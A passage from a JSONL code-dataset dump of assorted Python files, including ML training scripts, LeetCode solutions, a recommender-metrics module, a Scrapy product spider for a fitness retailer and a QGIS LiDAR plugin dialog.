y)\nplt.savefig('lr_step.png')","repo_name":"PresageBoat/LRCurve","sub_path":"lr_curve/lr_step_curve.py","file_name":"lr_step_curve.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43430623747","text":"import time\nfrom triangle import classify_triangle\n\n# examples taken from test_triangle.py\ntriangles = [\n # invalid\n (1, 2, 9), (1, 9, 2), (2, 1, 9), (2, 9, 1), (9, 1, 2), (9, 2, 1),\n (1, 1, -1), (1, -1, 1), (-1, 1, 1),\n # equilateral\n (1, 1, 1), (100, 100, 100), (99, 99, 99),\n # isosceles\n (100, 90, 90), (90, 100, 90), (90, 90, 100), (2, 2, 3),\n # scalene\n (5, 4, 3), (5, 3, 4), (4, 5, 3), (4, 3, 5), (3, 5, 4),\n]\n\n\nif __name__ == '__main__':\n # we don't really care about the output (we know the function work, from the test suite)\n # we just want to have something on which to measure running time\n\n for _ in range(3):\n for triangle in triangles:\n classify_triangle(*triangle)\n","repo_name":"bloa/magpie","sub_path":"examples/code/triangle-py_slow/run_triangle.py","file_name":"run_triangle.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"16768992632","text":"#建立评价指标,评价模型\nimport numpy as np\nfrom users.recommend.myRecommend import *\n\n#召回率描述有多少比例的用户—物品评分记录包含在最终的推荐列表中,而准确率描述最终的推荐列表中有多少比例是发生过的用户—物品评分记录\n\ndef recall(trainset,testset,N,recommend,movie_matrix,user_matrix):\n all=0\n rec_list=0\n for user,movie in trainset.items():\n if user_matrix[user] in testset.keys():\n test_u=testset[user_matrix[user]]\n train_u=recommend(user)\n\n train_id=[]\n\n for i in range(len(movie_matrix)):\n if movie_matrix[i] in train_u:\n train_id.append(i)\n\n for item in train_id:\n if item in test_u:\n rec_list+=1\n all+=len(test_u)\n return rec_list/all\n\ndef precision(trainset,testset,N,recommend,movie_matrix,user_matrix):\n all=0\n rec_list=0\n # rs=recommendSys()\n for user,movie in trainset.items():\n if user_matrix[user] in testset.keys():\n test_u=testset[user_matrix[user]]\n train_u=recommend(user)\n\n train_id=[]\n\n for i in range(len(movie_matrix)):\n if movie_matrix[i] in train_u:\n train_id.append(i)\n\n for item in train_id:\n if item in test_u:\n rec_list+=1\n all+=N\n return rec_list/all\n\n\n#覆盖率表示最终的推荐列表中包含多大比例的物品\ndef coverage(trainset,testset,N,recommend,movie_matrix,user_matrix):\n allitems=set()\n coverageitems=set()\n for user,movie in trainset.items():\n for item in trainset[user].keys():\n allitems.add(item)\n\n train_u=recommend(user)\n\n train_id=[]\n\n for i in range(len(movie_matrix)):\n if movie_matrix[i] in train_u:\n train_id.append(i)\n\n for item in train_id:\n coverageitems.add(item)\n return len(coverageitems)/len(coverageitems)\n\n\n#新颖度:用推荐列表中物品的平均流行度度量推荐结果的新颖度,如果推荐出的物品都很热门,说明推荐的新颖度较低,否则说明推荐结果比较新颖。\ndef popularity(trainset,testset,N,recommend,movie_matrix,user_matrix):\n #得到流行表\n popularitems=dict()\n for user,movie in trainset.items():\n for item in movie.keys():\n if item not in popularitems:\n popularitems[item]=0\n popularitems[item]+=1\n res=0\n n=0\n for user,movie in trainset.items():\n train_u=recommend(user)\n\n train_id=[]\n\n for i in range(len(movie_matrix)):\n if movie_matrix[i] in train_u:\n train_id.append(i)\n\n for item in train_id:\n res+=np.log(1+popularitems[item])\n n+=1\n\n return res/n\n\n","repo_name":"iambajie/movie-recommend","sub_path":"users/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13172919839","text":"# 给定一个二叉树,它的每个结点都存放一个 0-9 的数字,每条从根到叶子节点的路径都代表一个数字。\n#\n# 例如,从根到叶子节点路径 1->2->3 代表数字 123。 \n#\n# 计算从根到叶子节点生成的所有数字之和。 \n#\n# 说明: 叶子节点是指没有子节点的节点。 \n#\n# 示例 1: \n#\n# 输入: [1,2,3]\n# 1\n# / \\\n# 2 3\n# 输出: 25\n# 解释:\n# 从根到叶子节点路径 1->2 代表数字 12.\n# 从根到叶子节点路径 1->3 代表数字 13.\n# 因此,数字总和 = 12 + 13 = 25.\n#\n# 示例 2: \n#\n# 输入: [4,9,0,5,1]\n# 4\n# / \\\n# 9 0\n#  / \\\n# 5 1\n# 输出: 1026\n# 解释:\n# 从根到叶子节点路径 4->9->5 代表数字 495.\n# 从根到叶子节点路径 4->9->1 代表数字 491.\n# 从根到叶子节点路径 4->0 代表数字 40.\n# 因此,数字总和 = 495 + 491 + 40 = 1026.\n#\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Node:\n def __init__(self, item):\n self.item = item\n self.left = None\n self.right = None\n\n\nclass Solution:\n\n def __init__(self):\n self.root = None\n\n def add(self, item):\n node = Node(item)\n if self.root is None:\n self.root = node\n else:\n q = [self.root]\n\n while True:\n pop_node = q.pop(0)\n if pop_node.left is None:\n pop_node.left = node\n return\n elif pop_node.right is None:\n pop_node.right = node\n return\n else:\n q.append(pop_node.left)\n q.append(pop_node.right)\n\n def sumNumbers(self, root):\n \"\"\"\n :type root: TreeNode\n :type sum: int\n :rtype: List[List[int]]\n \"\"\"\n res = []\n self.auxPathSum(root, [], res)\n\n return sum(res)\n\n def auxPathSum(self, root, cur_list, cur_lists):\n if not root:\n return\n if not root.left and not root.right:\n # cur_lists.append(cur_list + [root.item])\n cur_lists.append(int(''.join(str(i) for i in cur_list + [root.item])))\n return\n if root.left:\n self.auxPathSum(root.left, cur_list + [root.item], cur_lists)\n if root.right:\n self.auxPathSum(root.right, cur_list + [root.item], cur_lists)\n\n\nt = Solution()\nfor i in range(1, 4):\n t.add(i)\nprint('遍历:', t.sumNumbers(t.root))\n","repo_name":"wellqin/USTC","sub_path":"leetcode/editor/cn/[129]求根到叶子节点数字之和.py","file_name":"[129]求根到叶子节点数字之和.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34118032047","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport tqdm\nimport matplotlib.pyplot as pl\n\n\nmnist = input_data.read_data_sets('tmp/mnist_data', one_hot=True)\n\nx_train, y_train = mnist.train.images, mnist.train.labels\n\nx = tf.placeholder(tf.float32, shape=[None, 784], name='x_place')\ny = tf.placeholder(tf.float32, shape=[None, 10], name='y_place')\n\n\nnn = tf.layers.conv2d(\n inputs=tf.reshape(x, shape=[-1, 28, 28, 1]),\n filters=32,\n kernel_size=(5, 5),\n padding='same',\n activation=tf.nn.relu\n)\n\nnn = tf.layers.max_pooling2d(\n inputs=nn,\n pool_size=(2, 2),\n strides=2,\n padding='same'\n)\n\nnn = tf.layers.conv2d(\n inputs=nn,\n filters=64,\n kernel_size=(5, 5),\n padding='same',\n activation=tf.nn.relu\n)\n\nnn = tf.layers.max_pooling2d(\n inputs=nn,\n pool_size=(2, 2),\n strides=2,\n padding='same'\n)\n\npool_dense = tf.layers.dense(tf.reshape(nn, [-1, 7 * 7 * 64]), units=1024, activation=tf.nn.relu)\nres = tf.layers.dense(pool_dense, units=10, activation=tf.nn.sigmoid)\n\nloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y, logits=res), name='Loss')\nprediction = tf.argmax(res, axis=1)\n\noptimizer = tf.train.GradientDescentOptimizer(0.03).minimize(loss)\n\nepochs = 1200\nerrors = []\npred_error = []\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n for i in tqdm.tqdm(range(epochs)):\n batch = mnist.train.next_batch(8)\n _, err = sess.run([optimizer, loss], feed_dict={x: batch[0].reshape(8, 784),\n y: batch[1].reshape(8, 10)})\n errors.append(err)\n\n v = mnist.test.next_batch(1)\n pl.imshow(v[0].reshape(28, 28))\n pl.imshow(sess.run(nn, feed_dict={x: v[0].reshape(1, 784)}).reshape(56, 56))\n print()\n print(f\"Pred: {sess.run(prediction, feed_dict={x: v[0].reshape(1, 784)})}\")\n print(f\"Real: {v[1]}\")\n\n# pl.plot(errors)\npl.show()","repo_name":"MikhailKravets/tf","sub_path":"mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6519433490","text":"from modelo import actualizarCama, actualizarPaciente, actualizarServicio, camasVacias, eliminarPaciente, ingresarPaciente, insertarPaciente, readCamas, readPacientes, readServicio\n\nseleccion2=0\nclass Menu:\n def __init__(self,*arg):\n self.opciones=arg\n def __str__(self) -> str:\n texto=\"seleccione una opcion\"\n for i in range(len(self.opciones)):\n texto+=f\"\\n{i+1} - {self.opciones[i]}\"\n return texto+\"\\n\"\n\n \ndef wrapCrearPaciente ():\n insertarPaciente(input(\"Inserte el nombre\\n\"), input(\"Inserte RUT del paciente\\n\"),input(\"Ingrese la fecha de nacimiento\\n\"))\n print(\"Paciente creado con èxito\")\n\ndef wrapEliminarPaciente ():\n eliminarPaciente(input(\"Nombre del paciente\\n\"))\n print(\"Paciente eliminado con èxito\")\n\ndef wrapEditarPaciente ():\n actualizarPaciente(input(\"Ingrese el nombre del paciente\\n\"), input(\"Ingrese nombre nuevo\"))\n\ndef wrapActualizarCama ():\n actualizarCama(input(\"Ingrese le nombre de la cama\\n\"), input(\"Ingrese el nuevo nombre de la cama\\n\"))\ndef wrapActualizarServicio ():\n actualizarServicio(input(\"Ingrese el nombre del servicio\\n\", input(\"Ingrese el nuevo nombre del servicio\\n\")))\n\ndef wrapIngresarPaciente ():\n ingresarPaciente(input(\"Nombre del paciente\\n\"), input(\"Nombre de la cama\\n\"), input (\"Fecha de inicio\"), input(\"Fecha final\"))\n\n\ndef menuInput (menu):\n \"\"\"\n Descripción de la función\n \"\"\" \n seleccion2 = input(menu)\n menuprincipal[int(seleccion)-1][int(seleccion2)]()\n \nmenuprincipal=[\n [lambda : menuInput(Menu(\"Crear\", \"Editar\",\"Listar\",\"Eliminar\")),\n wrapCrearPaciente,\n wrapEditarPaciente,\n readPacientes,\n wrapEliminarPaciente\n ],\n [lambda : menuInput(Menu(\"Consultar cama\", \"Editar cama\", \"Consultar servicios\", \"Editar servicios\")),\n readCamas,\n wrapActualizarCama,\n readServicio,\n wrapActualizarServicio,\n\n ],\n [lambda : menuInput(Menu(\"Ingresar paciente\", \"Consultar camas disponibles\")),\n wrapIngresarPaciente,\n camasVacias,\n ]\n]\nseleccion=input(Menu(\"Pacientes\",\"Mantenedores\",\"Gestiòn de camas\"))\n\nmenuprincipal[int(seleccion)-1][int(seleccion2)]()","repo_name":"Shadowrunner11/TrabajoIgnacio","sub_path":"vista.py","file_name":"vista.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6017952931","text":"from src.models.head import Head\nfrom src.models.loss import OneNetLoss\nimport torch\nfrom src.models.object_detection.matcher import MinCostMatcher\nfrom src.nn.fpn import SimpleFPN\nfrom src.nn.vit import ViT\nfrom einops import rearrange\nfrom src.nn.adapters import ViTAdapterForNeck\nfrom src.models.object_detection.yoto import YOTOForObjectDetection\n\nbackbone = ViTAdapterForNeck(ViT(224, patch_size=16, width=768, layers=4, heads=8, output_dim=512))\nfpn = SimpleFPN(in_channels=768)\nhead = Head(256, channels=256, num_classes=2)\ncriterion = OneNetLoss(num_classes=2, matcher=MinCostMatcher())\n\n\nyoto = YOTOForObjectDetection(backbone, fpn, head)\npixel_values = torch.randn((2, 3, 224, 224))\nouts = yoto(pixel_values)\n\nclass_labels = torch.tensor(\n [\n [1, 0],\n [0, 0],\n ]\n)\nboxes_labels = torch.tensor(\n [\n [\n [0.1, 0.1, 0.3, 0.3],\n [0.2, 0.2, 0.4, 0.4],\n ],\n [[0.1, 0.1, 0.3, 0.3], [0, 0, 0, 0]], # pad\n ]\n)\nmask_labels = torch.tensor([[1, 1], [1, 0]], dtype=torch.bool)\nprint(class_labels.shape, boxes_labels.shape)\n\nfeatures = backbone(pixel_values)\nprint(features[0].shape, print(len(features)))\npyramids = fpn(features)\nouts = head(pyramids)\nlosses = criterion(*outs, class_labels, boxes_labels, torch.tensor([640]), mask_labels)\n\nprint(losses)\n","repo_name":"FrancescoSaverioZuppichini/detector","sub_path":"playgrounds/playground.py","file_name":"playground.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"38759075509","text":"\"\"\"\nYou are given two positive numbers A and B. You need to find the maximum valued integer X such that:\nX divides A i.e. A % X = 0\nX and B are co-prime i.e. gcd(X, B) = 1\nFor example,\nA = 30\nB = 12\nWe return\nX = 5\n\"\"\"\n\n\n# We know A is the greatest number dividing A. So if A and B are coprime, we can return the value of X to be A.\n# Else, we can try to remove the common factors of A and B from A.\n# We can try to remove the common factors of A and B from A by finding the greatest common divisor\n# (gcd) of A and B and dividing A with that gcd.\n# Mathematically, A = A / gcd(A, B) —— STEP1\n# Now, we repeat STEP1 till we get gcd(A, B) = 1.\n# Atlast, we return X = A\n\nclass Solution:\n # @param A : integer\n # @param B : integer\n # @return an integer\n def cpFact(self, A, B):\n while True:\n A1 = A\n B1 = B\n # Find gcd\n while B1 > 0:\n A1, B1 = B1, A1 % B1\n if A1 == 1:\n return A\n A = A // A1\n return A\n","repo_name":"iamrishap/PythonBits","sub_path":"InterviewBits/math/largest-coprime-divisor.py","file_name":"largest-coprime-divisor.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20542812547","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCustomer: Powerhouse Fitness\nWebsite: http://www.fitness-superstore.co.uk\nExtract all products on site, including product options\n\nTicket link: https://www.assembla.com/spaces/competitormonitor/tickets/4584-powerhouse-fitness-|-superstore-|-new-spider/details#\n\n\"\"\"\n\nimport re\n\nfrom datetime import datetime\nfrom scrapy.spider import BaseSpider\nfrom scrapy.http import Request\nfrom copy import deepcopy\n\nfrom scrapy.utils.response import get_base_url\nfrom scrapy.utils.url import urljoin_rfc\nfrom product_spiders.items import (Product, ProductLoaderWithNameStrip as ProductLoader)\nfrom scrapy.contrib.loader.processor import MapCompose, Join, TakeFirst, Identity\nfrom scrapy.contrib.loader import XPathItemLoader\nfrom scrapy.utils.markup import remove_entities\nfrom product_spiders.utils import extract_price\nimport logging\n\n\nclass ArgosCoUKKeterSpider(BaseSpider):\n name = 'powerhouse_fitness-fitness-superstore.co.uk'\n allowed_domains = ['fitness-superstore.co.uk']\n start_urls = ['http://www.fitness-superstore.co.uk/']\n \n custom_settings = {'COOKIES_ENABLED': False}\n\n def parse(self, response):\n categories = response.xpath('//ul[@id=\"nav\"]//a/@href').extract()\n for url in categories:\n yield Request(response.urljoin(url))\n\n sub_categories = response.xpath('//div[contains(@class, \"sub-cat-block\")]/a/@href').extract()\n for url in sub_categories:\n yield Request(response.urljoin(url))\n\n pages = response.xpath('//div[@class=\"pages\"]//li/a/@href').extract()\n for url in pages:\n yield Request(response.urljoin(url))\n\n products = response.xpath('//div[@class=\"product-item__name\"]//a/@href').extract()\n if products:\n category_names = response.xpath('//div[@class=\"breadcrumbs\"]//li/a/text()').extract()\n category_names += response.xpath('//div[@class=\"breadcrumbs\"]//li/strong/text()').extract()\n category_names = ' > '.join(category_names[1:])\n for url in products:\n yield Request(response.urljoin(url), callback=self.parse_product, meta={'category': category_names})\n\n identifier = response.xpath('//input[@id=\"entity_id\"]/@value').extract()\n if identifier:\n for product in self.parse_product(response):\n yield product\n\n def parse_product(self, response):\n url = response.url\n\n l = ProductLoader(item=Product(), response=response)\n\n name = response.xpath('//span[@itemprop=\"name\"]/text()').extract()\n try:\n name = name[0].strip()\n except IndexError:\n retry = response.meta.get('retry', 0)\n if retry <= 3:\n yield Request(response.url, dont_filter=True, callback=self.parse_product, meta={'retry': retry + 1})\n\n l.add_value('name', name)\n\n price = response.xpath('//p[@class=\"special-price\"]/span[@class=\"price\"]/text()').extract()\n if price:\n price = price[0]\n else:\n price = response.xpath('//span[@class=\"regular-price\"]/span[@class=\"price\"]/text()').extract()\n if price:\n price = price[0]\n l.add_value('price', price)\n\n sku = response.xpath('//div[@class=\"product-shop--sku\"]/h4/span/text()').extract()\n l.add_value('sku', sku[0])\n \n identifier = response.css('div.nosto_product span.product_id::text').extract() or response.xpath('//input[@id=\"entity_id\"]/@value').extract()\n l.add_value('identifier', identifier[0])\n\n l.add_value('category', response.meta.get('category', ''))\n\n image_url = response.xpath('//span[@class=\"image_url\"]/text()').extract()\n l.add_value('image_url', image_url)\n l.add_value('url', url)\n l.add_xpath('brand', '//span[@class=\"brand\"]/text()')\n \n out_of_stock = response.xpath('//div[contains(@class, \"availability-box\")]/p[contains(@class, \"out-of-stock\")]')\n if out_of_stock:\n l.add_value('stock', 0)\n\n item = l.load_item()\n\n options = response.xpath('//table[@id=\"super-product-table\"]/tbody/tr')\n if options:\n for option in options:\n option_item = deepcopy(item)\n option_item['name'] = option.xpath('td[1]/text()').extract()[0]\n price = option.xpath('td//span[@class=\"price\"]/text()').extract()\n price = extract_price(price[0]) if price else 0\n option_item['price'] = price\n identifier = option.xpath('td//input/@name').re('\\[(.*)\\]')\n if not identifier:\n identifier = option.xpath('td//span/@id').re('product-price-(.*)')\n option_item['stock'] = 0\n\n option_item['identifier'] += '-' + identifier[0]\n yield option_item\n else:\n yield item\n\n\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/powerhouse_fitness/fitness_superstore.py","file_name":"fitness_superstore.py","file_ext":"py","file_size_in_byte":4900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30129716817","text":"\"\"\"\r\n\n\nReplace the numbers in a string with their binary form.\n\n### Examples\n\n replace_nums(\"I have 2 sheep.\") ➞ \"I have 10 sheep.\"\n \n replace_nums(\"My father was born in 1974.10.25.\") ➞ \"My father was born in 11110110110.1010.11001.\"\n \n replace_nums(\"10hell76o4 boi\") ➞ \"1010hell1001100o100 boi\"\n\n### Notes\n\n * There are possibly two or more numbers in a single word (I do not recommend splitting the text at spaces, it surely won't help).\n * Anything separates two numbers, even spaces (\"2 2\" --> \"10 10\").\n\n\"\"\"\r\n\ndef replace_nums(string):\n newstring,num = \"\",\"\"\n for index,i in enumerate(string):\n if not i.isdigit():\n if num != \"\":\n newstring += bin(int(num))[2:]\n num = \"\"\n newstring += i\n else:num += i\n return newstring\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"kfwTnnJjo3SKG2pYx_2.py","file_name":"kfwTnnJjo3SKG2pYx_2.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9514431246","text":"from keras.datasets import boston_housing\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Dropout\n\n(train_data, train_targets), (test_data, test_targets) = boston_housing.load_data()\n\nprint(train_data.shape)\nprint(test_data.shape)\n\n# ...Scaler 사용해서 정규화\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nscaler = StandardScaler()\n# scaler = MinMaxScaler()\n\nscaler.fit(train_data)\ntrain_data = scaler.transform(train_data)\ntest_data = scaler.transform(test_data)\n\nfrom keras import models\nfrom keras import layers\n\ndef build_model():\n # 동일한 모델을 여러 번 생성할 것이므로 함수를 만들어 사용합니다.\n model = models.Sequential()\n model.add(layers.Dense(32, activation='relu', input_shape=(train_data.shape[1],)))\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(1))\n model.compile(optimizer='rmsprop', loss='mse', metrics=['mae'])\n return model\n\nseed = 77\nfrom keras.wrappers.scikit_learn import KerasClassifier, KerasRegressor\nfrom sklearn.model_selection import KFold, cross_val_score\nmodel = KerasRegressor(build_fn=build_model, epochs=10,\n batch_size=1, verbose=1)\nkfold = KFold(n_splits=5, shuffle=True, random_state=seed)\nresults = cross_val_score(model, train_data, train_targets, cv=kfold) # cv == cross Validation 교차검증\n\nimport numpy as np\nprint(results)\nprint(np.mean(results))\n\n# 1. 사이킷런의 KFold로 리파인 시킬 것\n# 2. 정규화 표준화 시킬 것\n# 3. np.mean(all_scores)를 1 이하로 낮출 것\n\n\n# from sklearn.model_selection import KFold\n# kf = KFold(n_splits=5)\n# for train_index, test_index in kf.split(train_data, train_targets):\n# partial_train_data, val_data = train_data[train_index], train_data[test_index]\n# partial_train_targets, val_targets = train_targets[train_index], train_targets[test_index]\n# print(train_index, test_index)\n\n","repo_name":"jamiedotpro/etc","sub_path":"keras/keras31_kfold.py","file_name":"keras31_kfold.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9785322318","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n/***************************************************************************\r\n LiDARForestryHeight\r\n A QGIS plugin. LiDAR Forestry Height\r\n generates a DEM with the forest height,\r\n calculated from a classified LiDAR point\r\n cloud using LasPy Library\r\n\r\n Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/\r\n -------------------\r\n begin : 2018-09-24\r\n copyright : (C) 2019 by PANOimagen S.L.\r\n email : info@panoimagen.com\r\n git sha : $Format:%H$\r\n ***************************************************************************/\r\n\r\n/***************************************************************************\r\n * *\r\n * This program is free software; you can redistribute it and/or modify *\r\n * it under the terms of the GNU General Public License as published by *\r\n * the Free Software Foundation; either version 2 of the License, or *\r\n * (at your option) any later version. *\r\n * *\r\n ***************************************************************************/\r\n\"\"\"\r\nfrom __future__ import unicode_literals\r\nimport os\r\n\r\nfrom qgis.PyQt import uic\r\nfrom qgis.PyQt import QtWidgets\r\n\r\nimport logging\r\nlogger = logging.getLogger(\"lfh\")\r\nlogger.setLevel(logging.DEBUG)\r\n\r\nfrom qgis.core import Qgis, QgsRasterLayer, QgsProject\r\nfrom qgis.gui import QgisInterface, QgsMessageBar\r\n\r\nfrom .lfh_errors import LasPyNotFoundError\r\n\r\ntry:\r\n from . import plugin_process\r\n LASPY_INSTALLED = True\r\nexcept LasPyNotFoundError as e:\r\n LASPY_INSTALLED = False\r\n \r\nfrom. import files_paths_funs as dir_fns\r\n\r\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\r\n os.path.dirname(__file__), 'LiDARForestryHeight_dialog_base.ui'))\r\n\r\n\r\nclass LiDARForestryHeightDialog(QtWidgets.QDialog, FORM_CLASS):\r\n def __init__(self, parent=None):\r\n \"\"\"Constructor.\"\"\"\r\n super(LiDARForestryHeightDialog, self).__init__(parent)\r\n # Set up the user interface from Designer.\r\n # After setupUI you can access any designer object by doing\r\n # self., and you can use autoconnect slots - see\r\n # http://qt-project.org/doc/qt-4.8/designer-using-a-ui-file.html\r\n # #widgets-and-dialogs-with-auto-connect\r\n self.setupUi(self)\r\n self._initUi()\r\n self.iface = QgisInterface\r\n self.buttonBox.accepted.connect(self.accept)\r\n self.buttonBox.accepted.connect(self.preparingProcess)\r\n self.buttonBox.rejected.connect(self.reject)\r\n\r\n self.addResultsCheckBox.setChecked(True)\r\n self.createAndLoadIntermCheckBox.setChecked(False)\r\n\r\n self.outputFolderToolButton.clicked.connect(self.setOutPath)\r\n self.inputToolButton.clicked.connect(self.inputLiDAR)\r\n\r\n def _initUi(self):\r\n from . import version_number\r\n version = version_number.get_version_from_metadata()\r\n self.versionLabel.setText(u'Version: {}'.format(version))\r\n\r\n if LASPY_INSTALLED:\r\n text = u'LasPy Library avaible'\r\n color = u'color: black'\r\n else:\r\n text = (u'LasPy Library is not installed. Visit' +\r\n u' plugin homepage or LasPy documentation')\r\n color = u'color: red'\r\n\r\n self.lasPyInstalledLabel.setText(text)\r\n self.lasPyInstalledLabel.setStyleSheet(color)\r\n\r\n interpolate_methods = ['nearest', 'linear', 'cubic']\r\n self.interpolatingMethodComboBox.addItems(interpolate_methods)\r\n\r\n self.updateUi()\r\n\r\n def updateUi(self):\r\n \"\"\" Enable/disable UI options if LasPy Library is/isn't installed\r\n \"\"\"\r\n self.pluginGroupBox.setEnabled(LASPY_INSTALLED)\r\n self.inputGroupBox.setEnabled(LASPY_INSTALLED)\r\n self.resultsParamsGroupBox.setEnabled(LASPY_INSTALLED)\r\n\r\n def inputLiDAR(self):\r\n fileNames = QtWidgets.QFileDialog.getOpenFileNames(self,\r\n u\"Select the input LiDAR classified file/s\",\r\n self.inputLineEdit.text(),\r\n (\"LiDAR files (*.laz *.LAZ* *.las *.LAS);;\" +\r\n \" All files (*)\"))\r\n if fileNames:\r\n # quoted = ['\"{}\"'.format(fn) for fn in fileNames]\r\n self.inputLineEdit.setText(\", \".join(fileNames[0]))\r\n if not self.outputFolderLineEdit.text():\r\n try:\r\n outPath = os.path.join(\r\n os.path.split(os.path.abspath(fileNames[0][0]))[0],\r\n u'lidar_forestry_height_output')\r\n self.outputFolderLineEdit.setText(outPath)\r\n except IndexError:\r\n pass\r\n\r\n def setOutPath(self):\r\n \"\"\"Function to select the output folder and update the LineEdit\r\n \"\"\"\r\n outPath = QtWidgets.QFileDialog.getExistingDirectory(self,\r\n u\"Select the output folder\",\r\n self.outputFolderToolButton.text())\r\n if outPath:\r\n self.outputFolderLineEdit.setText(os.path.join(\r\n outPath, u'lidar_forestry_height_output'))\r\n\r\n def preparingProcess(self):\r\n\r\n if not LASPY_INSTALLED:\r\n self.showQMessage(u\"Error: LasPy Library is not installed!\" +\r\n u\"\\nPlease, solve it. More information\" +\r\n u\" at plugin homepage.\")\r\n return\r\n\r\n filenames = self.inputLineEdit.text()\r\n\r\n if not filenames:\r\n self.showQMessage(u\"Error: Not input file selected!\\nPlease,\" +\r\n u\" select one.\")\r\n\r\n outPath = self.outputFolderLineEdit.text()\r\n\r\n if not outPath:\r\n self.showQMessage(u\"Error: Not output folder selected!\\n\" +\r\n u\"Please, select one.\")\r\n\r\n if filenames and outPath:\r\n for f in filenames.split(\",\"):\r\n full_filename = f.strip()\r\n _, filename = os.path.split(full_filename)\r\n if outPath:\r\n self.settingProcessParams(full_filename, outPath)\r\n\r\n def settingProcessParams(self, full_filename, outPath):\r\n\r\n self.pixel_size = self.pixelSizeDoubleSpinBox.value()\r\n self.inter_method = self.interpolatingMethodComboBox.currentText()\r\n self.load_result = self.addResultsCheckBox.isChecked()\r\n self.partials_create_load = self.createAndLoadIntermCheckBox.isChecked()\r\n\r\n _, filename = os.path.split(full_filename)\r\n base_name, ext = os.path.splitext(filename)\r\n start_index = 1\r\n out_path = os.path.join(\r\n outPath, (base_name + '_r' + str(start_index)))\r\n\r\n if os.path.exists(out_path):\r\n import glob\r\n key_for_glob = os.path.join(outPath, (base_name + '_r*' ))\r\n dirs_list = glob.glob(key_for_glob)\r\n indexes = []\r\n for directory in dirs_list:\r\n try:\r\n fn_index = int(directory[-3:])\r\n except ValueError:\r\n try:\r\n fn_index = int(directory[-2:])\r\n except ValueError:\r\n fn_index = int(directory[-1])\r\n indexes.append(fn_index)\r\n max_index = max(indexes)\r\n next_index = max_index + 1\r\n out_path = os.path.join(outPath,\r\n (base_name + '_r' + str(next_index)))\r\n\r\n self.dir_fns = dir_fns.DirAndPaths(filename, out_path)\r\n\r\n self.showMessage(u'Starting processing LiDAR data {}'.format(base_name),\r\n Qgis.MessageLevel(0))\r\n\r\n try:\r\n self.process = plugin_process.Process(full_filename,\r\n out_path,\r\n self.pixel_size,\r\n self.inter_method,\r\n self.partials_create_load)\r\n\r\n except (ValueError, OSError) as message:\r\n self.showQMessage(str(message))\r\n self.showMessage('LiDAR Forestry Height stopped process',\r\n Qgis.MessageLevel(1))\r\n return\r\n\r\n if self.partials_create_load:\r\n self.load_raster_layer(self.process.dirs.out_paths['dtm'])\r\n self.load_raster_layer(self.process.dirs.out_paths['dsm'])\r\n\r\n if self.load_result:\r\n self.load_raster_layer(self.process.dirs.out_paths['height'])\r\n\r\n def load_raster_layer(self, raster_full_path):\r\n \"\"\"Add the result to canvas.\r\n \"\"\"\r\n raster_filename, _ = os.path.splitext(os.path.split(raster_full_path)[-1])\r\n rlayer = QgsRasterLayer(raster_full_path,\r\n raster_filename)\r\n QgsProject.instance().addMapLayer(rlayer)\r\n\r\n def showMessage(self, message, msg_level):\r\n \"\"\"This function shows a QGIS message bar when is called with the\r\n message and the message Level -i.e.:INFO-\r\n \"\"\"\r\n QgsMessageBar().pushMessage(\r\n message, level=msg_level)\r\n\r\n def showQMessage(self, message, msg_level = \"Error message\"):\r\n \"\"\"This function shows a Qt message dialog when is called with the\r\n message and the message Level-\r\n \"\"\"\r\n QtWidgets.QMessageBox.warning(self, msg_level, message)\r\n","repo_name":"PANOimagen/LiDARForestryHeight","sub_path":"LiDARForestryHeight_dialog.py","file_name":"LiDARForestryHeight_dialog.py","file_ext":"py","file_size_in_byte":9692,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"41455835479","text":"import os\n\nimport synapse.dyndeps as s_dyndeps\nimport synapse.lib.socket as s_socket\n\nfrom synapse.links.common import *\n\nparamiko = s_dyndeps.getDynMod('paramiko')\n\nclass SshRelay(LinkRelay):\n '''\n Implements the SSH link protocol for synapse.\n\n 